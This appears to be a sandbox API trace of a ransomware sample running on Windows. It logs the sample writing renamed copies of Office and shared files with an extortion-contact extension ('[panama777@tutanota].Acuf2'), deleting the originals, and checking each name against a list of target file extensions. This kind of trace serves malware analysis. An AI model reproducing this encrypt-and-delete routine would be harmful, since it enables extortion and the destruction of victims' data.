	[0039.368] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0039.368] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=596341) returned 1
	[0039.368] CloseHandle (hObject=0x1a0) returned 1
	[0039.368] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 0x2020
	[0039.368] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0039.368] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0039.368] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.368] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.368] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0039.369] GetLastError () returned 0x0
	[0039.369] ReadFile (in: hFile=0x1a0, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x91975, lpOverlapped=0x0) returned 1
	[0039.381] WriteFile (in: hFile=0x190, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x91980, lpOverlapped=0x0) returned 1
	[0039.795] ReadFile (in: hFile=0x1a0, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0039.795] WriteFile (in: hFile=0x190, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0039.795] SetEndOfFile (hFile=0x190) returned 1
	[0039.796] CloseHandle (hObject=0x190) returned 1
	[0039.820] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.820] SetEndOfFile (hFile=0x1a0) returned 1
	[0039.827] CloseHandle (hObject=0x1a0) returned 1
	[0039.827] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0039.828] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 1
	[0039.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88
	[0039.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88
	[0039.828] lstrlenW (lpString=".doc") returned 4
	[0039.828] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.828] lstrlenW (lpString=".docx") returned 5
	[0039.828] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1
	[0039.828] lstrlenW (lpString=".pdf") returned 4
	[0039.828] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.828] lstrlenW (lpString=".xls") returned 4
	[0039.828] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.828] lstrlenW (lpString=".xlsx") returned 5
	[0039.828] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1
	[0039.828] lstrlenW (lpString=".ppt") returned 4
	[0039.828] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88
	[0039.828] lstrlenW (lpString=".zip") returned 4
	[0039.828] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.828] lstrlenW (lpString=".rar") returned 4
	[0039.828] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.828] lstrlenW (lpString=".bz2") returned 4
	[0039.828] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.829] lstrlenW (lpString=".7z") returned 3
	[0039.829] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88
	[0039.829] lstrlenW (lpString=".dbf") returned 4
	[0039.829] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88
	[0039.829] lstrlenW (lpString=".1cd") returned 4
	[0039.829] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88
	[0039.829] lstrlenW (lpString=".jpg") returned 4
	[0039.829] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88
	[0039.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88
	[0039.829] lstrlenW (lpString=".doc") returned 4
	[0039.829] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.829] lstrlenW (lpString=".docx") returned 5
	[0039.829] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1
	[0039.829] lstrlenW (lpString=".pdf") returned 4
	[0039.829] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.829] lstrlenW (lpString=".xls") returned 4
	[0039.829] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.829] lstrlenW (lpString=".xlsx") returned 5
	[0039.829] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1
	[0039.829] lstrlenW (lpString=".ppt") returned 4
	[0039.829] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88
	[0039.829] lstrlenW (lpString=".zip") returned 4
	[0039.829] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.829] lstrlenW (lpString=".rar") returned 4
	[0039.829] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.829] lstrlenW (lpString=".bz2") returned 4
	[0039.829] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.830] lstrlenW (lpString=".7z") returned 3
	[0039.830] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.830] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88
	[0039.830] lstrlenW (lpString=".dbf") returned 4
	[0039.830] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.830] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88
	[0039.830] lstrlenW (lpString=".1cd") returned 4
	[0039.830] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.830] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88
	[0039.830] lstrlenW (lpString=".jpg") returned 4
	[0039.830] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.830] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0039.830] lstrlenW (lpString="VisiorWW.xml") returned 12
	[0039.830] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0040.004] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=8723) returned 1
	[0040.013] CloseHandle (hObject=0x19c) returned 1
	[0040.013] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 0x2020
	[0040.013] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0040.013] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0040.013] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0040.013] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0040.013] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198
	[0040.014] GetLastError () returned 0x0
	[0040.014] ReadFile (in: hFile=0x19c, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x2213, lpOverlapped=0x0) returned 1
	[0040.153] WriteFile (in: hFile=0x198, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x2220, lpOverlapped=0x0) returned 1
	[0040.154] ReadFile (in: hFile=0x19c, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0040.154] WriteFile (in: hFile=0x198, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0040.154] SetEndOfFile (hFile=0x198) returned 1
	[0040.155] CloseHandle (hObject=0x198) returned 1
	[0040.157] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0040.157] SetEndOfFile (hFile=0x19c) returned 1
	[0040.158] CloseHandle (hObject=0x19c) returned 1
	[0040.158] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0040.158] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 1
	[0040.158] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75
	[0040.158] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75
	[0040.158] lstrlenW (lpString=".doc") returned 4
	[0040.158] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0040.158] lstrlenW (lpString=".docx") returned 5
	[0040.158] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1
	[0040.159] lstrlenW (lpString=".pdf") returned 4
	[0040.159] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0040.159] lstrlenW (lpString=".xls") returned 4
	[0040.159] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0040.159] lstrlenW (lpString=".xlsx") returned 5
	[0040.159] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1
	[0040.159] lstrlenW (lpString=".ppt") returned 4
	[0040.159] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0040.159] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75
	[0040.159] lstrlenW (lpString=".zip") returned 4
	[0040.159] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0040.159] lstrlenW (lpString=".rar") returned 4
	[0040.159] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0040.159] lstrlenW (lpString=".bz2") returned 4
	[0040.159] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0040.159] lstrlenW (lpString=".7z") returned 3
	[0040.159] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0040.159] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75
	[0040.159] lstrlenW (lpString=".dbf") returned 4
	[0040.159] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0040.159] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75
	[0040.159] lstrlenW (lpString=".1cd") returned 4
	[0040.159] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0040.159] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75
	[0040.159] lstrlenW (lpString=".jpg") returned 4
	[0040.159] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0040.159] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75
	[0040.159] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75
	[0040.159] lstrlenW (lpString=".doc") returned 4
	[0040.159] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0040.159] lstrlenW (lpString=".docx") returned 5
	[0040.160] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1
	[0040.160] lstrlenW (lpString=".pdf") returned 4
	[0040.160] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0040.160] lstrlenW (lpString=".xls") returned 4
	[0040.160] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0040.160] lstrlenW (lpString=".xlsx") returned 5
	[0040.160] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1
	[0040.160] lstrlenW (lpString=".ppt") returned 4
	[0040.160] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0040.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75
	[0040.160] lstrlenW (lpString=".zip") returned 4
	[0040.160] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0040.160] lstrlenW (lpString=".rar") returned 4
	[0040.160] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0040.160] lstrlenW (lpString=".bz2") returned 4
	[0040.160] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0040.160] lstrlenW (lpString=".7z") returned 3
	[0040.160] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0040.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75
	[0040.160] lstrlenW (lpString=".dbf") returned 4
	[0040.160] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0040.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75
	[0040.160] lstrlenW (lpString=".1cd") returned 4
	[0040.160] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0040.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75
	[0040.160] lstrlenW (lpString=".jpg") returned 4
	[0040.160] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0040.160] lstrcmpiW (lpString1=".avi", lpString2=".Acuf2") returned 1
	[0040.160] lstrlenW (lpString="boxed-join.avi") returned 14
	[0040.160] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0040.774] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=33280) returned 1
	[0040.774] CloseHandle (hObject=0x178) returned 1
	[0040.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20
	[0040.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0040.774] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0040.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0040.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0040.774] lstrlenW (lpString=".doc") returned 4
	[0040.774] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0040.774] lstrlenW (lpString=".docx") returned 5
	[0040.774] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0040.774] lstrlenW (lpString=".pdf") returned 4
	[0040.774] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0040.774] lstrlenW (lpString=".xls") returned 4
	[0040.774] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0040.774] lstrlenW (lpString=".xlsx") returned 5
	[0040.775] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0040.775] lstrlenW (lpString=".ppt") returned 4
	[0040.775] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0040.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0040.775] lstrlenW (lpString=".zip") returned 4
	[0040.775] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0040.775] lstrlenW (lpString=".rar") returned 4
	[0040.775] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0040.775] lstrlenW (lpString=".bz2") returned 4
	[0040.775] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0040.775] lstrlenW (lpString=".7z") returned 3
	[0040.775] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0040.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0040.775] lstrlenW (lpString=".dbf") returned 4
	[0040.775] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0040.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0040.775] lstrlenW (lpString=".1cd") returned 4
	[0040.775] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0040.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0040.775] lstrlenW (lpString=".jpg") returned 4
	[0040.775] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0040.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0040.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0040.775] lstrlenW (lpString=".doc") returned 4
	[0040.775] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0040.775] lstrlenW (lpString=".docx") returned 5
	[0040.775] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0040.775] lstrlenW (lpString=".pdf") returned 4
	[0040.775] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0040.775] lstrlenW (lpString=".xls") returned 4
	[0040.775] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0040.776] lstrlenW (lpString=".xlsx") returned 5
	[0040.776] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0040.776] lstrlenW (lpString=".ppt") returned 4
	[0040.776] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0040.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0040.776] lstrlenW (lpString=".zip") returned 4
	[0040.776] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0040.776] lstrlenW (lpString=".rar") returned 4
	[0040.776] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0040.776] lstrlenW (lpString=".bz2") returned 4
	[0040.776] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0040.776] lstrlenW (lpString=".7z") returned 3
	[0040.776] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0040.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0040.776] lstrlenW (lpString=".dbf") returned 4
	[0040.776] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0040.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0040.776] lstrlenW (lpString=".1cd") returned 4
	[0040.776] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0040.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0040.776] lstrlenW (lpString=".jpg") returned 4
	[0040.776] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0040.776] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0040.776] lstrlenW (lpString="auxpad.xml") returned 10
	[0040.776] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0041.881] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=212) returned 1
	[0041.881] CloseHandle (hObject=0x160) returned 1
	[0041.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20
	[0041.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0041.881] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0041.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0041.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0041.881] lstrlenW (lpString=".doc") returned 4
	[0041.881] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.881] lstrlenW (lpString=".docx") returned 5
	[0041.881] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1
	[0041.881] lstrlenW (lpString=".pdf") returned 4
